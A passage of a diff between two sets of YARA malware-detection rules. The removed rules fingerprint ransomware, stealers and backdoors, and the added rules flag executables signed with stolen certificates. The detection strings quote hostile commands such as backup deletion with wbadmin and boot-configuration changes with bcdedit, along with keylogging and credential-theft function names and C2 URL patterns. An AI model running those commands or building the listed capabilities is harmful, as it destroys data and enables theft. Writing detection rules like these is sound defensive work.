-		$cmd3 = "bcdedit.exe /set {default}" wide
-		$cmd4 = "wbadmin delete systemstatebackup" wide nocase
-		$mut1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
-		$mut2 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" fullword wide
-		$mut3 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" fullword wide
-		$ext1 = { 2e 00 52 00 65 00 61 00 64 00 49 00 6e 00 73 00
-                  74 00 72 00 75 00 63 00 74 00 69 00 6f 00 6e 00
-                  73 00 00 00 00 00 00 00 2e 00 6b 00 65 00 76 00
-                  65 00 72 00 73 00 65 00 6e }
-		$ext2 = ".exe,.dll,.sys,.ini,.lnk,.rdp,.encrypted" fullword ascii
+		thumbprint = "8f2de7e770a8b1e412c2de131064d7a52da62287"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (4 of ($s*) or 1 of ($mut*))) or 6 of ($s*) or (1 of ($mut*) and 2 of ($cmd*)) or (1 of ($ext*) and 5 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "philandro Software GmbH" and pe.signatures[i].serial=="03:e9:eb:4d:ff:67:d4:f9:a5:54:a4:22:d5:ed:86:f3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ransomexx : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4A7F07C5D4Ad2E23F9E8E03F0E229Dd4 : FILE
 {
 	meta:
-		description = "Detects RansomEXX ransomware"
-		author = "ditekshen"
-		id = "4d1294de-d73c-5f9c-adb7-18ce5b5aca9f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "4e39ae25-c62c-5018-9780-d1549b10942f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2539-L2555"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4283-L4294"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "351398d89b847b3439fa58b7aab50f3c6e48be27877d3f8b85cc78e994413ecc"
+		logic_hash = "2493dfe7e5a993a573c7b3c2f2642a8834feb525b3fc8402315a63ac09b9fccd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.RansomEXX"
-
-	strings:
-		$id = "ransom.exx" ascii
-		$s1 = "!TXDOT_READ_ME!.txt" fullword wide
-		$s2 = "debug.txt" fullword wide
-		$s3 = ".txd0t" fullword wide
-		$s4 = "crypt_detect" fullword wide
-		$s5 = "powershell.exe" fullword wide
-		$s6 = "cipher.exe" fullword ascii wide
-		$s7 = "?ReflectiveLoader@@" ascii
+		thumbprint = "b37e7f9040c4adc6d29da6829c7a35a2f6a56fdb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (($id and 3 of ($s*)) or all of ($*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Danalis LLC" and pe.signatures[i].serial=="4a:7f:07:c5:d4:ad:2e:23:f9:e8:e0:3f:0e:22:9d:d4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Quasarstealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C6D7Ad852Af211Bf48F19Cc0242Dcd72 : FILE
 {
 	meta:
-		description = "Detects Quasar infostealer"
-		author = "ditekshen"
-		id = "d0d532fe-bd0a-560a-8570-f6038d694338"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "1aca90d4-6cb6-5bcd-a4c9-e8f8cddc0d04"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2557-L2572"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4296-L4307"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4b6ab49992db4d7bf4404d51b0ef1773249de89545ec31176ad45d00803ba703"
+		logic_hash = "e10de48bfa1edec81157eb95ef3478346c22dd6f7ef163e30887d3c7bb580c5e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.QuasarStealer"
-
-	strings:
-		$s1 = "PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null" fullword ascii
-		$s2 = "DQuasar.Common, Version=1.4.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
-		$s3 = "Process already elevated." fullword wide
-		$s4 = "get_PotentiallyVulnerablePasswords" fullword ascii
-		$s5 = "GetKeyloggerLogsDirectory" ascii
-		$s6 = "set_PotentiallyVulnerablePasswords" fullword ascii
-		$s7 = "BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>" ascii
+		thumbprint = "bddcef09f222ea4270d4a1811c10f4fcf98e4125"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APDZQKILIIQVIJSCTY" and pe.signatures[i].serial=="c6:d7:ad:85:2a:f2:11:bf:48:f1:9c:c0:24:2d:cd:72")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bandook : FILE
-{
-	meta:
-		description = "Detects Bandook backdoor"
-		author = "ditekshen"
-		id = "c74bd688-c79e-5939-93a8-c2cd9f2cd60e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+rule DITEKSHEN_INDICATOR_KB_CERT_0084888D5A12228E8950683Ecdab62Fe7A : FILE
+{
+	meta:
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "5036d604-55df-565a-b6db-c788da007ea8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2676-L2705"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4309-L4320"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bff09f769aae890d81efe9926cc8ce85c1caa4eeeb6bc7d2321d2d906ac8d6cf"
+		logic_hash = "4deda791923cdacccf57d54651ca44bd8c04d053a11ccf5700354f9f37be17de"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Bandook"
-
-	strings:
-		$s1 = "\"%sLib\\dpx.pyc\" \"%ws\" \"%ws\" \"%ws\" \"%ws\" \"%ws\"" fullword wide
-		$s2 = "%s\\usd\\dv-%s.dat" fullword ascii
-		$s3 = "%sprd.dat" fullword ascii
-		$s4 = "%sfile\\shell\\open\\command" fullword ascii
-		$s5 = "explorer.exe , %s" fullword ascii
-		$f1 = "CaptureScreen" fullword ascii
-		$f2 = "StartShell" fullword ascii
-		$f3 = "ClearCred" fullword ascii
-		$f4 = "GrabFileFromDevice" fullword ascii
-		$f5 = "PutFileOnDevice" fullword ascii
-		$f6 = "ChromeInject" fullword ascii
-		$f7 = "StartFileMonitor" fullword ascii
-		$f8 = "DisableMouseCapture" fullword ascii
-		$f9 = "StealUSB" fullword ascii
-		$f10 = "DDOSON" fullword ascii
-		$f11 = "InstallMac" fullword ascii
-		$f12 = "SendCam" fullword ascii
-		$x1 = "RTC-TGUBP" fullword ascii
-		$x2 = "AVE_MARIA" fullword ascii
+		thumbprint = "390b23ed9750745e8441e35366b294a2a5c66fcd"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 6 of ($f*) or (2 of ($s*) and 3 of ($f*)) or ( all of ($x*) and (2 of ($f*) or 3 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ub30 Limited" and pe.signatures[i].serial=="00:84:88:8d:5a:12:22:8e:89:50:68:3e:cd:ab:62:fe:7a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Kimsuky : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_709D547A2F09D39C4C2334983F2Cbf50 : FILE
 {
 	meta:
-		description = "Detects Kimsuky backdoor"
-		author = "ditekshen"
-		id = "6216b874-13f1-5283-9d17-90b7ca6996f8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "e3b2ab8b-be90-5593-843f-59f2d626e604"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2707-L2730"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4322-L4333"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9f9e64a9cfb3f61bc6b355035c5f0644e4750b740e05cb557c6183c7acfc5a19"
+		logic_hash = "f45a2047181f3f07a8fb9cc00aafc31ba7aa369fc5c0165557757306a0de0d44"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Kimsuky"
-
-	strings:
-		$s1 = "Win%d.%d.%dx64" fullword ascii
-		$s2 = ".zip" fullword ascii
-		$s3 = ".enc" fullword ascii
-		$s4 = "&p2=a" fullword ascii
-		$s5 = "Content-Disposition: form-data; name=\"binary\"; filename=\"" fullword ascii
-		$s6 = "%s/?m=a&p1=%s&p2=%s-%s-v%d" fullword ascii
-		$s7 = "/?m=b&p1=" fullword ascii
-		$s8 = "/?m=c&p1=" fullword ascii
-		$s9 = "/?m=d&p1=" fullword ascii
-		$s10 = "http://%s/%s/?m=e&p1=%s&p2=%s&p3=%s" fullword ascii
-		$s11 = "taskkill.exe /im iexplore.exe /f" fullword ascii
-		$s12 = "GetParent" fullword ascii
-		$s13 = "DllRegisterServer" fullword ascii
-		$dll1 = "AutoUpdate.dll" fullword ascii
-		$dll2 = "dropper-ie64.dll" fullword ascii
+		thumbprint = "f10095c5e36e6bce0759f52dd11137756adc3b53"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($dll*) and 7 of ($s*)) or (11 of ($*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BMUZVYUGWSQWLAIISX" and pe.signatures[i].serial=="70:9d:54:7a:2f:09:d3:9c:4c:23:34:98:3f:2c:bf:50")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_98A04Ea05E8A949A4D880D0136794Df3 : FILE
 {
 	meta:
-		description = "Detects known Delphi downloader agent downloading second stage payload, notably from discord"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "18493e3d-224f-5000-8e44-9ffda9c65cf0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "cda10dcf-bc46-56d9-a4b5-60a76249334c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2732-L2753"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4335-L4346"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dea63edd48759fd04875e2eb8ac8b00ff801767f071337c667e31c15f0925cdc"
+		logic_hash = "05c63386558b954da3cfec1fd514a7a567189d9ac33d818cbbabf3eaf72ed130"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.DLAgent03"
-
-	strings:
-		$delph1 = "FastMM Borland Edition" fullword ascii
-		$delph2 = "SOFTWARE\\Borland\\Delphi" ascii
-		$v1_1 = "InternetOpenUrlA" fullword ascii
-		$v1_2 = "CreateFileA" fullword ascii
-		$v1_3 = "WriteFile" fullword ascii
-		$v2_1 = "WinHttp.WinHttpRequest.5.1" fullword ascii
-		$v2_2 = { 6f 70 65 6e ?? ?? ?? ?? ?? 73 65 6e 64 ?? ?? ?? ?? 72 65 73 70 6f 6e 73 65 74 65 78 74 }
-		$url1 = "https://discord.com/" fullword ascii
-		$url2 = "http://www.superutils.com" fullword ascii
-		$url3 = "http://www.xboxharddrive.com" fullword ascii
+		thumbprint = "0387ce856978cfa3e161fc03751820f003b478f3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($delph*) and 1 of ($url*) and ( all of ($v1*) or 1 of ($v2*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FRVFMPRLNIMAMSUIMT" and pe.signatures[i].serial=="98:a0:4e:a0:5e:8a:94:9a:4d:88:0d:01:36:79:4d:f3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Salfram : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2355895F1759E9E3648026F4 : FILE
 {
 	meta:
-		description = "Detects Salfram executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "323e1c8e-2184-5831-9af5-a460c55fbf7c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d716ed7f-8886-587d-a868-805da13bb925"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2755-L2766"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4348-L4360"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "19d7934727baa870dcd3ec77ba596cd64e49763477ba3feb7baec5ab6d3866d3"
+		logic_hash = "429375af70872755ab2d517b125042795c9a20238405a4af5b0caecc46a3f563"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920085-920087"
-		snort3_sid = "920085"
-		clamav_sig = "MALWARE.Win.Trojan.Salfram"
-
-	strings:
-		$s1 = "!This Salfram cannot be run in DOS mode." fullword ascii
+		thumbprint = "f46d457898d436769f0c70127044e2019583ee16"
+		hash1 = "f4f4a5953d0c87db611fa05bb51672591295049978a0e9e14eca8224254ecd7a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avira Operations GmbH & Co. KG" and pe.signatures[i].serial=="23:55:89:5f:17:59:e9:e3:64:80:26:f4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hawkeyev9
+rule DITEKSHEN_INDICATOR_KB_CERT_00818631110B5D14331Dac7E6Ad998B902 : FILE
 {
 	meta:
-		description = "Detects HawkEyeV9 payload"
-		author = "ditekshen"
-		id = "ca59aa45-fb55-5f9a-a224-8bd2b72ce5ac"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "15efa9cf-5457-5b04-abee-8f86721c5d56"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2768-L2793"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4376-L4390"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d24111930dd0230c01963a90c9fbbc0a0a71df170c2ca116bb329e6158cb681c"
+		logic_hash = "ee82090ceb1378b44c283586d0f0b6ec0d9779fab2497b0168acec8e5546a4a8"
 		score = 75
 		quality = 75
-		tags = ""
-		clamav_sig = "MALWARE.Win.Trojan.HawkEyeV9"
-
-	strings:
-		$id1 = "HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \\ {2}" wide
-		$id2 = "HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" wide
-		$str1 = "_PasswordStealer" ascii
-		$str2 = "_KeyStrokeLogger" ascii
-		$str3 = "_ScreenshotLogger" ascii
-		$str4 = "_ClipboardLogger" ascii
-		$str5 = "_WebCamLogger" ascii
-		$str6 = "_AntiVirusKiller" ascii
-		$str7 = "_ProcessElevation" ascii
-		$str8 = "_DisableCommandPrompt" ascii
-		$str9 = "_WebsiteBlocker" ascii
-		$str10 = "_DisableTaskManager" ascii
-		$str11 = "_AntiDebugger" ascii
-		$str12 = "_WebsiteVisitorSites" ascii
-		$str13 = "_DisableRegEdit" ascii
-		$str14 = "_ExecutionDelay" ascii
-		$str15 = "_InstallStartupPersistance" ascii
+		tags = "FILE"
+		thumbprint = "c93082334ef8c2d6a0a1823cdf632c0d75d56377"
+		importance = 20
 
 	condition:
-		int16 (0)==0x5a4d and (1 of ($id*) or 5 of ($str*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "2 TOY GUYS LLC" and (pe.signatures[i].serial=="00:81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" or pe.signatures[i].serial=="81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hyperbro : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7Ab21306B11Ff280A93Fc445876988Ab : FILE
 {
 	meta:
-		description = "Detects HyperBro (class names) payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "539b796d-297b-5e2f-84df-282ceaa57bd4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "583fccef-3ad5-5f9a-a030-d6bf9ebed00f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2795-L2813"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4392-L4403"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6e86ef963de885e0bf92ead075e265618c0745104d223302edd824d409c45cd"
+		logic_hash = "aa93d36d472d24cdd937c323ffa048fc71984fcf8a13400618ec8a0f2c172fc0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.HyperBro"
-
-	strings:
-		$s1 = "VTClipboardInfo" ascii wide
-		$s2 = "VTClipboardMgr" ascii wide
-		$s3 = "VTFileRename" ascii wide
-		$s4 = "VTFileRetime" ascii wide
-		$s5 = "VTKeyboardInfo" ascii wide
-		$s6 = "VTKeyboardMgr" ascii wide
-		$s7 = "VTRegeditKeyInfo" ascii wide
-		$s8 = "VTRegeditMgr" ascii wide
-		$s9 = "VTRegeditValueInfo" ascii wide
-		$s10 = "VTFileDataRes" ascii wide
+		thumbprint = "6d0d10933b355ee2d8701510f22aff4a06adbe5b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 9 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABC BIOS d.o.o." and pe.signatures[i].serial=="7a:b2:13:06:b1:1f:f2:80:a9:3f:c4:45:87:69:88:ab")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_UNK01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0086909B91F07F9316984D888D1E28Ab76 : FILE
 {
 	meta:
-		description = "Detects unknown/unidentified Linux malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "24c6ff35-9378-5a6b-90d1-9740917b1b72"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "58b191cc-82f2-5ad3-8d1e-91c7528880c6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2815-L2836"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4405-L4416"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8bb4822c1c7e0f52726ecafafa696d83c741257587f351360c5295163c245450"
+		logic_hash = "eb8807437edbbba52a928de4ebf0a25513127bd9800088e0d85e41c8375a05b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$f1 = "%sresponse.php?status" ascii
-		$f2 = "%supstream.php?mid=%s&os=%s" ascii fullword
-		$f3 = "%supstream.php?tid=%" ascii
-		$f4 = "%sindex.php?token=%.32s&flag=%d&name=%s" ascii fullword
-		$f5 = "%sactive_off.php?id=%d&uniqu=%d" ascii fullword
-		$s1 = "lock:%i usable num:%i n:%i" fullword ascii
-		$s2 = "tid:%.*s tNumber:%i" fullword ascii
-		$s3 = "init.php" fullword ascii
-		$s4 = "mod_drone" fullword ascii
-		$s5 = "new_mid" fullword ascii
-		$s6 = "&exists[]=" fullword ascii
-		$s7 = "&mod[]=" fullword ascii
-		$s8 = "shutdown" fullword ascii
-		$s9 = "&mac[]=%02X%02X%02X%02X%02X%02X" fullword ascii
+		thumbprint = "5eba3c38e989c7d16c987e2989688d3bd24032bc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and (3 of ($f*) or 6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dantherm Intelligent Monitoring A/S" and pe.signatures[i].serial=="00:86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_UNK02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : FILE
 {
 	meta:
-		description = "Detects unknown/unidentified Linux malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6e62df0d-d329-5e52-af74-2a1f19dc4cca"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d96df78b-3824-5f94-8a32-87dfd9cd585f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2838-L2852"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4418-L4429"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4cde21932c27fe3c08495f557b5e086b1fb668d8b5508249891828b9ed48edd4"
+		logic_hash = "845abc1f08a4d56b32477fbe8855f45633833c68f4255d0690f10cc23c167e84"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$rf1 = "[]A\\A]A^A_" ascii
-		$rf2 = "[A\\A]A^A_]" ascii
-		$f1 = "/bin/basH" ascii fullword
-		$f2 = "/proc/seH" ascii fullword
-		$f3 = "/dev/ptsH" ascii fullword
-		$f4 = "pqrstuvwxyzabcde" ascii fullword
-		$f5 = "libnss_%s.so.%d.%d" ascii fullword
+		thumbprint = "10d82c75a1846ebfb2a0d1abe9c01622bdfabf0a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and ( all of ($f*) and #rf1>3 and #rf2>3)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REIGN BROS ApS" and pe.signatures[i].serial=="00:d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Itranslatorexe : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_13039Da3B2924B7A8B0A2Ac4637C2Efa : FILE
 {
 	meta:
-		description = "Detects iTranslator EXE payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "763e8fa4-cf5c-54bc-9310-4e4171bf5a71"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9621584b-a115-5b96-8de5-15776232cdb2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2854-L2874"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4431-L4442"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3c796d58cdf2d4dc4c838d05fb862640c7f9de6c7e8ebb5fb0002821354208d9"
+		logic_hash = "7492f2a50effae809b512ce7a2a769f3db62ab3573974206b729417cc629ca83"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.iTranslator_EXE"
-
-	strings:
-		$s1 = "\\itranslator\\wintrans.exe" fullword wide
-		$s2 = "\\SuperX\\SuperX\\Obj\\Release\\SharpX.pdb" fullword ascii
-		$s3 = "\\itranslator\\itranslator.dll" fullword ascii
-		$s4 = ":Intoskrnl.exe" fullword ascii
-		$s5 = "InjectDrv.sys" fullword ascii
-		$s6 = "SharpX.dll" fullword wide
-		$s7 = "GetMicrosoftEdgeProcessId" ascii
-		$s8 = ".php?type=is&ch=" ascii
-		$s9 = ".php?uid=" ascii
-		$s10 = "&mc=" fullword ascii
-		$s11 = "&os=" fullword ascii
-		$s12 = "&x=32" fullword ascii
+		thumbprint = "ad9fa264674c152b2298533e41e098bcaa0345af"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Tekhnokom" and pe.signatures[i].serial=="13:03:9d:a3:b2:92:4b:7a:8b:0a:2a:c4:63:7c:2e:fa")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Itranslatordll : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : FILE
 {
 	meta:
-		description = "Detects iTranslator DLL payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "df05da78-3626-5eb5-81a2-a93fba844484"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5e17d055-26d7-5dde-a905-9d03fb164fa2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2876-L2892"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4444-L4455"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca0479efd241058f358553b6382a1987a5b4c069965f4adb88cd2f3fc4bef21a"
+		logic_hash = "5f0f5dac599923f385fcd8e8b14349263cabe1c83242fe097d9fb26ea0567c1a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.iTranslator_DLL"
-
-	strings:
-		$d1 = "system32\\drivers\\%S.sys" fullword wide
-		$d2 = "\\windows\\system32\\winlogon.exe" fullword ascii
-		$d3 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\%s" fullword wide
-		$d4 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\webssx" fullword wide
-		$d5 = "\\Device\\CtrlSM" fullword wide
-		$d6 = "\\DosDevices\\CtrlSM" fullword wide
-		$d7 = "\\driver_wfp\\CbFlt\\Bin\\CbFlt.pdb" ascii
